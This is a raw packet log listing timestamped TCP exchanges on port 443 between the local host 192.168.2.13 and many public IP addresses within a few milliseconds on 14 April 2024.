Apr 14, 2024 03:59:49.707679987 CEST	443	45854	94.208.217.90	192.168.2.13
Apr 14, 2024 03:59:49.707701921 CEST	57988	443	192.168.2.13	5.123.97.24
Apr 14, 2024 03:59:49.707701921 CEST	57988	443	192.168.2.13	5.123.97.24
Apr 14, 2024 03:59:49.707701921 CEST	40992	443	192.168.2.13	118.148.184.164
Apr 14, 2024 03:59:49.707715034 CEST	443	57988	5.123.97.24	192.168.2.13
Apr 14, 2024 03:59:49.707717896 CEST	443	40992	118.148.184.164	192.168.2.13
Apr 14, 2024 03:59:49.707727909 CEST	40992	443	192.168.2.13	118.148.184.164
Apr 14, 2024 03:59:49.707736969 CEST	43490	443	192.168.2.13	212.211.230.40
Apr 14, 2024 03:59:49.707737923 CEST	443	44762	42.254.35.163	192.168.2.13
Apr 14, 2024 03:59:49.707736969 CEST	43490	443	192.168.2.13	212.211.230.40
Apr 14, 2024 03:59:49.707748890 CEST	443	57988	5.123.97.24	192.168.2.13
Apr 14, 2024 03:59:49.707756996 CEST	443	40992	118.148.184.164	192.168.2.13
Apr 14, 2024 03:59:49.707762957 CEST	443	43490	212.211.230.40	192.168.2.13
Apr 14, 2024 03:59:49.707767963 CEST	33996	443	192.168.2.13	37.173.163.192
Apr 14, 2024 03:59:49.707777977 CEST	443	33996	37.173.163.192	192.168.2.13
Apr 14, 2024 03:59:49.707786083 CEST	443	43490	212.211.230.40	192.168.2.13
Apr 14, 2024 03:59:49.707787037 CEST	33996	443	192.168.2.13	37.173.163.192
Apr 14, 2024 03:59:49.707823992 CEST	443	33996	37.173.163.192	192.168.2.13
Apr 14, 2024 03:59:49.707824945 CEST	33366	443	192.168.2.13	178.104.147.95
Apr 14, 2024 03:59:49.707845926 CEST	443	33366	178.104.147.95	192.168.2.13
Apr 14, 2024 03:59:49.707848072 CEST	60196	443	192.168.2.13	123.178.211.32
Apr 14, 2024 03:59:49.707855940 CEST	33366	443	192.168.2.13	178.104.147.95
Apr 14, 2024 03:59:49.707859039 CEST	443	60196	123.178.211.32	192.168.2.13
Apr 14, 2024 03:59:49.707868099 CEST	443	33366	178.104.147.95	192.168.2.13
Apr 14, 2024 03:59:49.707869053 CEST	60196	443	192.168.2.13	123.178.211.32
Apr 14, 2024 03:59:49.707875013 CEST	443	60196	123.178.211.32	192.168.2.13
Apr 14, 2024 03:59:49.707895041 CEST	50306	443	192.168.2.13	42.175.88.0
Apr 14, 2024 03:59:49.707895041 CEST	50306	443	192.168.2.13	42.175.88.0
Apr 14, 2024 03:59:49.707906008 CEST	443	50306	42.175.88.0	192.168.2.13
Apr 14, 2024 03:59:49.707918882 CEST	43642	443	192.168.2.13	123.30.153.7
Apr 14, 2024 03:59:49.707918882 CEST	43642	443	192.168.2.13	123.30.153.7
Apr 14, 2024 03:59:49.707931042 CEST	443	43642	123.30.153.7	192.168.2.13
Apr 14, 2024 03:59:49.707943916 CEST	39488	443	192.168.2.13	109.189.233.129
Apr 14, 2024 03:59:49.707943916 CEST	39488	443	192.168.2.13	109.189.233.129
Apr 14, 2024 03:59:49.707953930 CEST	443	43642	123.30.153.7	192.168.2.13
Apr 14, 2024 03:59:49.707968950 CEST	443	39488	109.189.233.129	192.168.2.13
Apr 14, 2024 03:59:49.707982063 CEST	36592	443	192.168.2.13	79.134.73.71
Apr 14, 2024 03:59:49.707982063 CEST	36592	443	192.168.2.13	79.134.73.71
Apr 14, 2024 03:59:49.707993031 CEST	443	50306	42.175.88.0	192.168.2.13
Apr 14, 2024 03:59:49.707993984 CEST	54786	443	192.168.2.13	117.78.218.82
Apr 14, 2024 03:59:49.707999945 CEST	443	36592	79.134.73.71	192.168.2.13
Apr 14, 2024 03:59:49.708005905 CEST	443	54786	117.78.218.82	192.168.2.13
Apr 14, 2024 03:59:49.708019972 CEST	54786	443	192.168.2.13	117.78.218.82
Apr 14, 2024 03:59:49.708024979 CEST	443	36592	79.134.73.71	192.168.2.13
Apr 14, 2024 03:59:49.708036900 CEST	443	39488	109.189.233.129	192.168.2.13
Apr 14, 2024 03:59:49.708041906 CEST	40056	443	192.168.2.13	109.167.206.211
Apr 14, 2024 03:59:49.708041906 CEST	40056	443	192.168.2.13	109.167.206.211
Apr 14, 2024 03:59:49.708045959 CEST	443	54786	117.78.218.82	192.168.2.13
Apr 14, 2024 03:59:49.708055973 CEST	443	40056	109.167.206.211	192.168.2.13
Apr 14, 2024 03:59:49.708066940 CEST	38174	443	192.168.2.13	178.0.34.24
Apr 14, 2024 03:59:49.708067894 CEST	38174	443	192.168.2.13	178.0.34.24
Apr 14, 2024 03:59:49.708081961 CEST	443	38174	178.0.34.24	192.168.2.13
Apr 14, 2024 03:59:49.708089113 CEST	443	40056	109.167.206.211	192.168.2.13
Apr 14, 2024 03:59:49.708107948 CEST	49906	443	192.168.2.13	109.172.137.11
Apr 14, 2024 03:59:49.708107948 CEST	49906	443	192.168.2.13	109.172.137.11
Apr 14, 2024 03:59:49.708108902 CEST	443	38174	178.0.34.24	192.168.2.13
Apr 14, 2024 03:59:49.708111048 CEST	39656	443	192.168.2.13	148.245.31.147
Apr 14, 2024 03:59:49.708122969 CEST	443	49906	109.172.137.11	192.168.2.13
Apr 14, 2024 03:59:49.708126068 CEST	443	39656	148.245.31.147	192.168.2.13
Apr 14, 2024 03:59:49.708137989 CEST	39656	443	192.168.2.13	148.245.31.147
Apr 14, 2024 03:59:49.708142996 CEST	35626	443	192.168.2.13	148.69.63.194
Apr 14, 2024 03:59:49.708142996 CEST	35626	443	192.168.2.13	148.69.63.194
Apr 14, 2024 03:59:49.708154917 CEST	443	49906	109.172.137.11	192.168.2.13
Apr 14, 2024 03:59:49.708165884 CEST	443	35626	148.69.63.194	192.168.2.13
Apr 14, 2024 03:59:49.708178043 CEST	443	39656	148.245.31.147	192.168.2.13
Apr 14, 2024 03:59:49.708180904 CEST	45858	443	192.168.2.13	94.170.51.207
Apr 14, 2024 03:59:49.708180904 CEST	45858	443	192.168.2.13	94.170.51.207
Apr 14, 2024 03:59:49.708193064 CEST	443	45858	94.170.51.207	192.168.2.13
Apr 14, 2024 03:59:49.708193064 CEST	56738	443	192.168.2.13	212.104.144.65
Apr 14, 2024 03:59:49.708199978 CEST	443	35626	148.69.63.194	192.168.2.13
Apr 14, 2024 03:59:49.708201885 CEST	443	56738	212.104.144.65	192.168.2.13
Apr 14, 2024 03:59:49.708209991 CEST	443	45858	94.170.51.207	192.168.2.13
Apr 14, 2024 03:59:49.708211899 CEST	56738	443	192.168.2.13	212.104.144.65
Apr 14, 2024 03:59:49.708230019 CEST	42560	443	192.168.2.13	202.36.201.222
Apr 14, 2024 03:59:49.708231926 CEST	443	56738	212.104.144.65	192.168.2.13
Apr 14, 2024 03:59:49.708245039 CEST	443	42560	202.36.201.222	192.168.2.13
Apr 14, 2024 03:59:49.708254099 CEST	42560	443	192.168.2.13	202.36.201.222
Apr 14, 2024 03:59:49.708267927 CEST	45584	443	192.168.2.13	212.43.106.150
Apr 14, 2024 03:59:49.708271980 CEST	443	42560	202.36.201.222	192.168.2.13
Apr 14, 2024 03:59:49.708278894 CEST	443	45584	212.43.106.150	192.168.2.13
Apr 14, 2024 03:59:49.708282948 CEST	48584	443	192.168.2.13	210.157.201.49
Apr 14, 2024 03:59:49.708288908 CEST	45584	443	192.168.2.13	212.43.106.150
Apr 14, 2024 03:59:49.708297014 CEST	443	48584	210.157.201.49	192.168.2.13
Apr 14, 2024 03:59:49.708307981 CEST	48584	443	192.168.2.13	210.157.201.49
Apr 14, 2024 03:59:49.708313942 CEST	443	45584	212.43.106.150	192.168.2.13
Apr 14, 2024 03:59:49.708317041 CEST	443	48584	210.157.201.49	192.168.2.13
Apr 14, 2024 03:59:49.708318949 CEST	40494	443	192.168.2.13	42.95.35.243
Apr 14, 2024 03:59:49.708336115 CEST	443	40494	42.95.35.243	192.168.2.13
Apr 14, 2024 03:59:49.708348036 CEST	40494	443	192.168.2.13	42.95.35.243
Apr 14, 2024 03:59:49.708358049 CEST	443	40494	42.95.35.243	192.168.2.13
Apr 14, 2024 03:59:49.708375931 CEST	41500	443	192.168.2.13	123.38.40.164
Apr 14, 2024 03:59:49.708394051 CEST	443	41500	123.38.40.164	192.168.2.13
Apr 14, 2024 03:59:49.708403111 CEST	43766	443	192.168.2.13	202.234.122.205
Apr 14, 2024 03:59:49.708403111 CEST	43766	443	192.168.2.13	202.234.122.205
Apr 14, 2024 03:59:49.708404064 CEST	41500	443	192.168.2.13	123.38.40.164
Apr 14, 2024 03:59:49.708415985 CEST	443	43766	202.234.122.205	192.168.2.13
Apr 14, 2024 03:59:49.708424091 CEST	443	41500	123.38.40.164	192.168.2.13
Apr 14, 2024 03:59:49.708425045 CEST	39370	443	192.168.2.13	123.67.40.86
Apr 14, 2024 03:59:49.708435059 CEST	443	43766	202.234.122.205	192.168.2.13
Apr 14, 2024 03:59:49.708441019 CEST	443	39370	123.67.40.86	192.168.2.13
Apr 14, 2024 03:59:49.708448887 CEST	39370	443	192.168.2.13	123.67.40.86
Apr 14, 2024 03:59:49.708475113 CEST	53330	443	192.168.2.13	79.131.246.227
Apr 14, 2024 03:59:49.708498955 CEST	443	53330	79.131.246.227	192.168.2.13
Apr 14, 2024 03:59:49.708508015 CEST	41122	443	192.168.2.13	118.30.234.218
Apr 14, 2024 03:59:49.708508015 CEST	41122	443	192.168.2.13	118.30.234.218
Apr 14, 2024 03:59:49.708508968 CEST	53330	443	192.168.2.13	79.131.246.227
Apr 14, 2024 03:59:49.708519936 CEST	443	41122	118.30.234.218	192.168.2.13
Apr 14, 2024 03:59:49.708529949 CEST	443	39370	123.67.40.86	192.168.2.13
Apr 14, 2024 03:59:49.708532095 CEST	52660	443	192.168.2.13	37.205.15.251
Apr 14, 2024 03:59:49.708533049 CEST	52660	443	192.168.2.13	37.205.15.251
Apr 14, 2024 03:59:49.708534002 CEST	443	53330	79.131.246.227	192.168.2.13
Apr 14, 2024 03:59:49.708544016 CEST	443	41122	118.30.234.218	192.168.2.13
Apr 14, 2024 03:59:49.708548069 CEST	443	52660	37.205.15.251	192.168.2.13
Apr 14, 2024 03:59:49.708563089 CEST	51910	443	192.168.2.13	178.167.220.208
Apr 14, 2024 03:59:49.708563089 CEST	51910	443	192.168.2.13	178.167.220.208
Apr 14, 2024 03:59:49.708573103 CEST	443	52660	37.205.15.251	192.168.2.13
Apr 14, 2024 03:59:49.708579063 CEST	38008	443	192.168.2.13	148.31.140.68
Apr 14, 2024 03:59:49.708583117 CEST	443	51910	178.167.220.208	192.168.2.13
Apr 14, 2024 03:59:49.708592892 CEST	443	38008	148.31.140.68	192.168.2.13
Apr 14, 2024 03:59:49.708604097 CEST	38008	443	192.168.2.13	148.31.140.68
Apr 14, 2024 03:59:49.708611965 CEST	37850	443	192.168.2.13	94.80.130.213
Apr 14, 2024 03:59:49.708612919 CEST	37850	443	192.168.2.13	94.80.130.213
Apr 14, 2024 03:59:49.708619118 CEST	443	51910	178.167.220.208	192.168.2.13
Apr 14, 2024 03:59:49.708626986 CEST	443	37850	94.80.130.213	192.168.2.13
Apr 14, 2024 03:59:49.708641052 CEST	52270	443	192.168.2.13	202.81.120.220
Apr 14, 2024 03:59:49.708641052 CEST	52270	443	192.168.2.13	202.81.120.220
Apr 14, 2024 03:59:49.708643913 CEST	443	38008	148.31.140.68	192.168.2.13
Apr 14, 2024 03:59:49.708652020 CEST	443	37850	94.80.130.213	192.168.2.13
Apr 14, 2024 03:59:49.708655119 CEST	443	52270	202.81.120.220	192.168.2.13
Apr 14, 2024 03:59:49.708662987 CEST	44948	443	192.168.2.13	37.56.218.47
Apr 14, 2024 03:59:49.708662987 CEST	44948	443	192.168.2.13	37.56.218.47
Apr 14, 2024 03:59:49.708681107 CEST	443	44948	37.56.218.47	192.168.2.13
Apr 14, 2024 03:59:49.708683014 CEST	33450	443	192.168.2.13	178.251.122.74
Apr 14, 2024 03:59:49.708683014 CEST	33450	443	192.168.2.13	178.251.122.74
Apr 14, 2024 03:59:49.708693981 CEST	52532	443	192.168.2.13	148.235.119.57
Apr 14, 2024 03:59:49.708695889 CEST	443	33450	178.251.122.74	192.168.2.13
Apr 14, 2024 03:59:49.708705902 CEST	443	44948	37.56.218.47	192.168.2.13
Apr 14, 2024 03:59:49.708709955 CEST	443	52532	148.235.119.57	192.168.2.13
Apr 14, 2024 03:59:49.708712101 CEST	443	52270	202.81.120.220	192.168.2.13
Apr 14, 2024 03:59:49.708714962 CEST	443	33450	178.251.122.74	192.168.2.13
Apr 14, 2024 03:59:49.708715916 CEST	52532	443	192.168.2.13	148.235.119.57
Apr 14, 2024 03:59:49.708730936 CEST	51118	443	192.168.2.13	94.201.146.90
Apr 14, 2024 03:59:49.708731890 CEST	443	52532	148.235.119.57	192.168.2.13
Apr 14, 2024 03:59:49.708741903 CEST	443	51118	94.201.146.90	192.168.2.13
Apr 14, 2024 03:59:49.708760023 CEST	51118	443	192.168.2.13	94.201.146.90
Apr 14, 2024 03:59:49.708760023 CEST	42658	443	192.168.2.13	210.254.91.153
Apr 14, 2024 03:59:49.708760977 CEST	443	51118	94.201.146.90	192.168.2.13
Apr 14, 2024 03:59:49.708770037 CEST	443	51118	94.201.146.90	192.168.2.13
Apr 14, 2024 03:59:49.708777905 CEST	443	42658	210.254.91.153	192.168.2.13
Apr 14, 2024 03:59:49.708786964 CEST	42658	443	192.168.2.13	210.254.91.153
Apr 14, 2024 03:59:49.708797932 CEST	46172	443	192.168.2.13	212.101.69.7
Apr 14, 2024 03:59:49.708797932 CEST	443	42658	210.254.91.153	192.168.2.13
Apr 14, 2024 03:59:49.708811045 CEST	443	46172	212.101.69.7	192.168.2.13
Apr 14, 2024 03:59:49.708826065 CEST	55652	443	192.168.2.13	5.71.151.142
Apr 14, 2024 03:59:49.708837986 CEST	46172	443	192.168.2.13	212.101.69.7
Apr 14, 2024 03:59:49.708837986 CEST	443	55652	5.71.151.142	192.168.2.13
Apr 14, 2024 03:59:49.708839893 CEST	443	46172	212.101.69.7	192.168.2.13
Apr 14, 2024 03:59:49.708843946 CEST	55652	443	192.168.2.13	5.71.151.142
Apr 14, 2024 03:59:49.708847046 CEST	443	46172	212.101.69.7	192.168.2.13
Apr 14, 2024 03:59:49.708862066 CEST	43486	443	192.168.2.13	178.110.16.125
Apr 14, 2024 03:59:49.708862066 CEST	43486	443	192.168.2.13	178.110.16.125
Apr 14, 2024 03:59:49.708872080 CEST	443	55652	5.71.151.142	192.168.2.13
Apr 14, 2024 03:59:49.708879948 CEST	443	43486	178.110.16.125	192.168.2.13
Apr 14, 2024 03:59:49.708894968 CEST	37938	443	192.168.2.13	109.41.232.199
Apr 14, 2024 03:59:49.708908081 CEST	443	37938	109.41.232.199	192.168.2.13
Apr 14, 2024 03:59:49.708920956 CEST	37938	443	192.168.2.13	109.41.232.199
Apr 14, 2024 03:59:49.708926916 CEST	48556	443	192.168.2.13	2.179.60.26
Apr 14, 2024 03:59:49.708933115 CEST	443	43486	178.110.16.125	192.168.2.13
Apr 14, 2024 03:59:49.708941936 CEST	443	48556	2.179.60.26	192.168.2.13
Apr 14, 2024 03:59:49.708956957 CEST	48556	443	192.168.2.13	2.179.60.26
Apr 14, 2024 03:59:49.708967924 CEST	443	37938	109.41.232.199	192.168.2.13
Apr 14, 2024 03:59:49.708978891 CEST	48472	443	192.168.2.13	212.118.50.198
Apr 14, 2024 03:59:49.708978891 CEST	48472	443	192.168.2.13	212.118.50.198
Apr 14, 2024 03:59:49.708990097 CEST	443	48472	212.118.50.198	192.168.2.13
Apr 14, 2024 03:59:49.709001064 CEST	443	48556	2.179.60.26	192.168.2.13
Apr 14, 2024 03:59:49.709001064 CEST	60654	443	192.168.2.13	210.57.20.72
Apr 14, 2024 03:59:49.709022045 CEST	443	48472	212.118.50.198	192.168.2.13
Apr 14, 2024 03:59:49.709026098 CEST	443	60654	210.57.20.72	192.168.2.13
Apr 14, 2024 03:59:49.709034920 CEST	60654	443	192.168.2.13	210.57.20.72
Apr 14, 2024 03:59:49.709042072 CEST	443	60654	210.57.20.72	192.168.2.13
Apr 14, 2024 03:59:49.709043980 CEST	34480	443	192.168.2.13	123.120.78.85
Apr 14, 2024 03:59:49.709044933 CEST	34480	443	192.168.2.13	123.120.78.85
Apr 14, 2024 03:59:49.709059954 CEST	443	34480	123.120.78.85	192.168.2.13
Apr 14, 2024 03:59:49.709073067 CEST	57510	443	192.168.2.13	123.165.39.13
Apr 14, 2024 03:59:49.709088087 CEST	443	57510	123.165.39.13	192.168.2.13
Apr 14, 2024 03:59:49.709099054 CEST	57510	443	192.168.2.13	123.165.39.13
Apr 14, 2024 03:59:49.709114075 CEST	56050	443	192.168.2.13	117.222.8.145
Apr 14, 2024 03:59:49.709114075 CEST	56050	443	192.168.2.13	117.222.8.145
Apr 14, 2024 03:59:49.709120035 CEST	57500	443	192.168.2.13	123.241.52.24
Apr 14, 2024 03:59:49.709125996 CEST	443	34480	123.120.78.85	192.168.2.13
Apr 14, 2024 03:59:49.709127903 CEST	443	56050	117.222.8.145	192.168.2.13
Apr 14, 2024 03:59:49.709136009 CEST	443	57500	123.241.52.24	192.168.2.13
Apr 14, 2024 03:59:49.709136963 CEST	443	57510	123.165.39.13	192.168.2.13
Apr 14, 2024 03:59:49.709146023 CEST	55008	443	192.168.2.13	109.109.165.96
Apr 14, 2024 03:59:49.709146023 CEST	57500	443	192.168.2.13	123.241.52.24
Apr 14, 2024 03:59:49.709156990 CEST	443	55008	109.109.165.96	192.168.2.13
Apr 14, 2024 03:59:49.709158897 CEST	443	56050	117.222.8.145	192.168.2.13
Apr 14, 2024 03:59:49.709168911 CEST	55008	443	192.168.2.13	109.109.165.96
Apr 14, 2024 03:59:49.709176064 CEST	443	55008	109.109.165.96	192.168.2.13
Apr 14, 2024 03:59:49.709187984 CEST	39474	443	192.168.2.13	178.35.163.141
Apr 14, 2024 03:59:49.709203005 CEST	443	39474	178.35.163.141	192.168.2.13
Apr 14, 2024 03:59:49.709209919 CEST	443	57500	123.241.52.24	192.168.2.13
Apr 14, 2024 03:59:49.709213018 CEST	39474	443	192.168.2.13	178.35.163.141
Apr 14, 2024 03:59:49.709233046 CEST	443	39474	178.35.163.141	192.168.2.13
Apr 14, 2024 03:59:49.709234953 CEST	44474	443	192.168.2.13	123.240.126.68
Apr 14, 2024 03:59:49.709234953 CEST	44474	443	192.168.2.13	123.240.126.68
Apr 14, 2024 03:59:49.709239960 CEST	39658	443	192.168.2.13	5.63.180.130
Apr 14, 2024 03:59:49.709255934 CEST	443	39658	5.63.180.130	192.168.2.13
Apr 14, 2024 03:59:49.709256887 CEST	443	44474	123.240.126.68	192.168.2.13
Apr 14, 2024 03:59:49.709273100 CEST	39658	443	192.168.2.13	5.63.180.130
Apr 14, 2024 03:59:49.709285021 CEST	38934	443	192.168.2.13	5.75.190.181
Apr 14, 2024 03:59:49.709285021 CEST	38934	443	192.168.2.13	5.75.190.181
Apr 14, 2024 03:59:49.709292889 CEST	443	39658	5.63.180.130	192.168.2.13
Apr 14, 2024 03:59:49.709295034 CEST	443	38934	5.75.190.181	192.168.2.13
Apr 14, 2024 03:59:49.709304094 CEST	443	44474	123.240.126.68	192.168.2.13
Apr 14, 2024 03:59:49.709320068 CEST	46264	443	192.168.2.13	42.65.12.45
Apr 14, 2024 03:59:49.709320068 CEST	46264	443	192.168.2.13	42.65.12.45
Apr 14, 2024 03:59:49.709330082 CEST	443	46264	42.65.12.45	192.168.2.13
Apr 14, 2024 03:59:49.709341049 CEST	36104	443	192.168.2.13	210.3.249.63
Apr 14, 2024 03:59:49.709352970 CEST	443	46264	42.65.12.45	192.168.2.13
Apr 14, 2024 03:59:49.709362984 CEST	443	36104	210.3.249.63	192.168.2.13
Apr 14, 2024 03:59:49.709372044 CEST	36104	443	192.168.2.13	210.3.249.63
Apr 14, 2024 03:59:49.709383011 CEST	443	36104	210.3.249.63	192.168.2.13
Apr 14, 2024 03:59:49.709404945 CEST	57566	443	192.168.2.13	117.70.94.240
Apr 14, 2024 03:59:49.709404945 CEST	57566	443	192.168.2.13	117.70.94.240
Apr 14, 2024 03:59:49.709417105 CEST	35524	443	192.168.2.13	79.134.242.57
Apr 14, 2024 03:59:49.709425926 CEST	443	57566	117.70.94.240	192.168.2.13
Apr 14, 2024 03:59:49.709436893 CEST	443	35524	79.134.242.57	192.168.2.13
Apr 14, 2024 03:59:49.709448099 CEST	443	57566	117.70.94.240	192.168.2.13
Apr 14, 2024 03:59:49.709455013 CEST	35524	443	192.168.2.13	79.134.242.57
Apr 14, 2024 03:59:49.709455967 CEST	443	35524	79.134.242.57	192.168.2.13
Apr 14, 2024 03:59:49.709458113 CEST	39322	443	192.168.2.13	37.179.75.64
Apr 14, 2024 03:59:49.709458113 CEST	39322	443	192.168.2.13	37.179.75.64
Apr 14, 2024 03:59:49.709466934 CEST	443	39322	37.179.75.64	192.168.2.13
Apr 14, 2024 03:59:49.709470987 CEST	443	35524	79.134.242.57	192.168.2.13
Apr 14, 2024 03:59:49.709475040 CEST	42366	443	192.168.2.13	79.184.240.221
Apr 14, 2024 03:59:49.709489107 CEST	443	42366	79.184.240.221	192.168.2.13
Apr 14, 2024 03:59:49.709506035 CEST	42366	443	192.168.2.13	79.184.240.221
Apr 14, 2024 03:59:49.709513903 CEST	37004	443	192.168.2.13	178.63.253.36
Apr 14, 2024 03:59:49.709516048 CEST	443	42366	79.184.240.221	192.168.2.13
Apr 14, 2024 03:59:49.709523916 CEST	443	39322	37.179.75.64	192.168.2.13
Apr 14, 2024 03:59:49.709531069 CEST	443	37004	178.63.253.36	192.168.2.13
Apr 14, 2024 03:59:49.709536076 CEST	37004	443	192.168.2.13	178.63.253.36
Apr 14, 2024 03:59:49.709552050 CEST	443	37004	178.63.253.36	192.168.2.13
Apr 14, 2024 03:59:49.709554911 CEST	33620	443	192.168.2.13	2.4.12.81
Apr 14, 2024 03:59:49.709554911 CEST	33620	443	192.168.2.13	2.4.12.81
Apr 14, 2024 03:59:49.709570885 CEST	443	33620	2.4.12.81	192.168.2.13
Apr 14, 2024 03:59:49.709583044 CEST	59554	443	192.168.2.13	178.174.22.131
Apr 14, 2024 03:59:49.709583044 CEST	59554	443	192.168.2.13	178.174.22.131
Apr 14, 2024 03:59:49.709598064 CEST	443	59554	178.174.22.131	192.168.2.13
Apr 14, 2024 03:59:49.709598064 CEST	443	38934	5.75.190.181	192.168.2.13
Apr 14, 2024 03:59:49.709609032 CEST	42282	443	192.168.2.13	202.247.191.94
Apr 14, 2024 03:59:49.709609032 CEST	42282	443	192.168.2.13	202.247.191.94
Apr 14, 2024 03:59:49.709630966 CEST	443	42282	202.247.191.94	192.168.2.13
Apr 14, 2024 03:59:49.709639072 CEST	443	33620	2.4.12.81	192.168.2.13
Apr 14, 2024 03:59:49.709645033 CEST	51864	443	192.168.2.13	117.213.66.174
Apr 14, 2024 03:59:49.709645033 CEST	51864	443	192.168.2.13	117.213.66.174
Apr 14, 2024 03:59:49.709646940 CEST	443	59554	178.174.22.131	192.168.2.13
Apr 14, 2024 03:59:49.709646940 CEST	443	42282	202.247.191.94	192.168.2.13
Apr 14, 2024 03:59:49.709657907 CEST	443	51864	117.213.66.174	192.168.2.13
Apr 14, 2024 03:59:49.709671974 CEST	47390	443	192.168.2.13	123.169.181.24
Apr 14, 2024 03:59:49.709671974 CEST	47390	443	192.168.2.13	123.169.181.24
Apr 14, 2024 03:59:49.709685087 CEST	443	47390	123.169.181.24	192.168.2.13
Apr 14, 2024 03:59:49.709697008 CEST	60568	443	192.168.2.13	212.170.63.182
Apr 14, 2024 03:59:49.709697008 CEST	60568	443	192.168.2.13	212.170.63.182
Apr 14, 2024 03:59:49.709707975 CEST	443	60568	212.170.63.182	192.168.2.13
Apr 14, 2024 03:59:49.709717035 CEST	443	51864	117.213.66.174	192.168.2.13
Apr 14, 2024 03:59:49.709717989 CEST	56438	443	192.168.2.13	2.86.254.12
Apr 14, 2024 03:59:49.709717989 CEST	56438	443	192.168.2.13	2.86.254.12
Apr 14, 2024 03:59:49.709721088 CEST	443	47390	123.169.181.24	192.168.2.13
Apr 14, 2024 03:59:49.709733963 CEST	443	56438	2.86.254.12	192.168.2.13
Apr 14, 2024 03:59:49.709745884 CEST	45686	443	192.168.2.13	2.33.25.151
Apr 14, 2024 03:59:49.709755898 CEST	443	56438	2.86.254.12	192.168.2.13
Apr 14, 2024 03:59:49.709758997 CEST	443	45686	2.33.25.151	192.168.2.13
Apr 14, 2024 03:59:49.709765911 CEST	443	60568	212.170.63.182	192.168.2.13
Apr 14, 2024 03:59:49.709772110 CEST	45686	443	192.168.2.13	2.33.25.151
Apr 14, 2024 03:59:49.709779978 CEST	443	45686	2.33.25.151	192.168.2.13
Apr 14, 2024 03:59:49.709784985 CEST	40738	443	192.168.2.13	210.124.21.164
Apr 14, 2024 03:59:49.709784985 CEST	40738	443	192.168.2.13	210.124.21.164
Apr 14, 2024 03:59:49.709794044 CEST	45448	443	192.168.2.13	123.176.117.232
Apr 14, 2024 03:59:49.709795952 CEST	443	40738	210.124.21.164	192.168.2.13
Apr 14, 2024 03:59:49.709805012 CEST	443	45448	123.176.117.232	192.168.2.13
Apr 14, 2024 03:59:49.709815979 CEST	45448	443	192.168.2.13	123.176.117.232
Apr 14, 2024 03:59:49.709832907 CEST	39230	443	192.168.2.13	210.255.8.217
Apr 14, 2024 03:59:49.709844112 CEST	443	40738	210.124.21.164	192.168.2.13
Apr 14, 2024 03:59:49.709845066 CEST	443	39230	210.255.8.217	192.168.2.13
Apr 14, 2024 03:59:49.709861040 CEST	59230	443	192.168.2.13	117.143.161.4
Apr 14, 2024 03:59:49.709861994 CEST	59230	443	192.168.2.13	117.143.161.4
Apr 14, 2024 03:59:49.709872961 CEST	443	59230	117.143.161.4	192.168.2.13
Apr 14, 2024 03:59:49.709878922 CEST	39230	443	192.168.2.13	210.255.8.217
Apr 14, 2024 03:59:49.709878922 CEST	50094	443	192.168.2.13	123.88.74.251
Apr 14, 2024 03:59:49.709881067 CEST	443	39230	210.255.8.217	192.168.2.13
Apr 14, 2024 03:59:49.709891081 CEST	443	39230	210.255.8.217	192.168.2.13
Apr 14, 2024 03:59:49.709904909 CEST	443	50094	123.88.74.251	192.168.2.13
Apr 14, 2024 03:59:49.709907055 CEST	56116	443	192.168.2.13	212.210.57.246
Apr 14, 2024 03:59:49.709909916 CEST	50094	443	192.168.2.13	123.88.74.251
Apr 14, 2024 03:59:49.709914923 CEST	443	45448	123.176.117.232	192.168.2.13
Apr 14, 2024 03:59:49.709917068 CEST	443	56116	212.210.57.246	192.168.2.13
Apr 14, 2024 03:59:49.709927082 CEST	443	59230	117.143.161.4	192.168.2.13
Apr 14, 2024 03:59:49.709928036 CEST	56116	443	192.168.2.13	212.210.57.246
Apr 14, 2024 03:59:49.709938049 CEST	50730	443	192.168.2.13	79.217.10.113
Apr 14, 2024 03:59:49.709945917 CEST	443	50094	123.88.74.251	192.168.2.13
Apr 14, 2024 03:59:49.709950924 CEST	443	56116	212.210.57.246	192.168.2.13
Apr 14, 2024 03:59:49.709950924 CEST	443	50730	79.217.10.113	192.168.2.13
Apr 14, 2024 03:59:49.709964991 CEST	50730	443	192.168.2.13	79.217.10.113
Apr 14, 2024 03:59:49.709975958 CEST	52848	443	192.168.2.13	118.44.154.12
Apr 14, 2024 03:59:49.709989071 CEST	443	52848	118.44.154.12	192.168.2.13
Apr 14, 2024 03:59:49.709999084 CEST	52848	443	192.168.2.13	118.44.154.12
Apr 14, 2024 03:59:49.710005045 CEST	443	50730	79.217.10.113	192.168.2.13
Apr 14, 2024 03:59:49.710012913 CEST	60556	443	192.168.2.13	118.183.17.133
Apr 14, 2024 03:59:49.710012913 CEST	60556	443	192.168.2.13	118.183.17.133
Apr 14, 2024 03:59:49.710014105 CEST	443	52848	118.44.154.12	192.168.2.13
Apr 14, 2024 03:59:49.710021019 CEST	443	60556	118.183.17.133	192.168.2.13
Apr 14, 2024 03:59:49.710026026 CEST	53676	443	192.168.2.13	37.25.142.128
Apr 14, 2024 03:59:49.710040092 CEST	443	53676	37.25.142.128	192.168.2.13
Apr 14, 2024 03:59:49.710051060 CEST	53676	443	192.168.2.13	37.25.142.128
Apr 14, 2024 03:59:49.710056067 CEST	443	60556	118.183.17.133	192.168.2.13
Apr 14, 2024 03:59:49.710062981 CEST	443	53676	37.25.142.128	192.168.2.13
Apr 14, 2024 03:59:49.710066080 CEST	59026	443	192.168.2.13	109.176.126.26
Apr 14, 2024 03:59:49.710066080 CEST	59026	443	192.168.2.13	109.176.126.26
Apr 14, 2024 03:59:49.710082054 CEST	443	59026	109.176.126.26	192.168.2.13
Apr 14, 2024 03:59:49.710088015 CEST	34262	443	192.168.2.13	202.198.211.209
Apr 14, 2024 03:59:49.710105896 CEST	443	59026	109.176.126.26	192.168.2.13
Apr 14, 2024 03:59:49.710108042 CEST	443	34262	202.198.211.209	192.168.2.13
Apr 14, 2024 03:59:49.710125923 CEST	443	34262	202.198.211.209	192.168.2.13
Apr 14, 2024 03:59:49.710127115 CEST	34262	443	192.168.2.13	202.198.211.209
Apr 14, 2024 03:59:49.710127115 CEST	52712	443	192.168.2.13	5.31.117.185
Apr 14, 2024 03:59:49.710127115 CEST	52712	443	192.168.2.13	5.31.117.185
Apr 14, 2024 03:59:49.710135937 CEST	44712	443	192.168.2.13	109.255.239.237
Apr 14, 2024 03:59:49.710138083 CEST	443	34262	202.198.211.209	192.168.2.13
Apr 14, 2024 03:59:49.710150003 CEST	443	44712	109.255.239.237	192.168.2.13
Apr 14, 2024 03:59:49.710153103 CEST	443	52712	5.31.117.185	192.168.2.13
Apr 14, 2024 03:59:49.710165977 CEST	44712	443	192.168.2.13	109.255.239.237
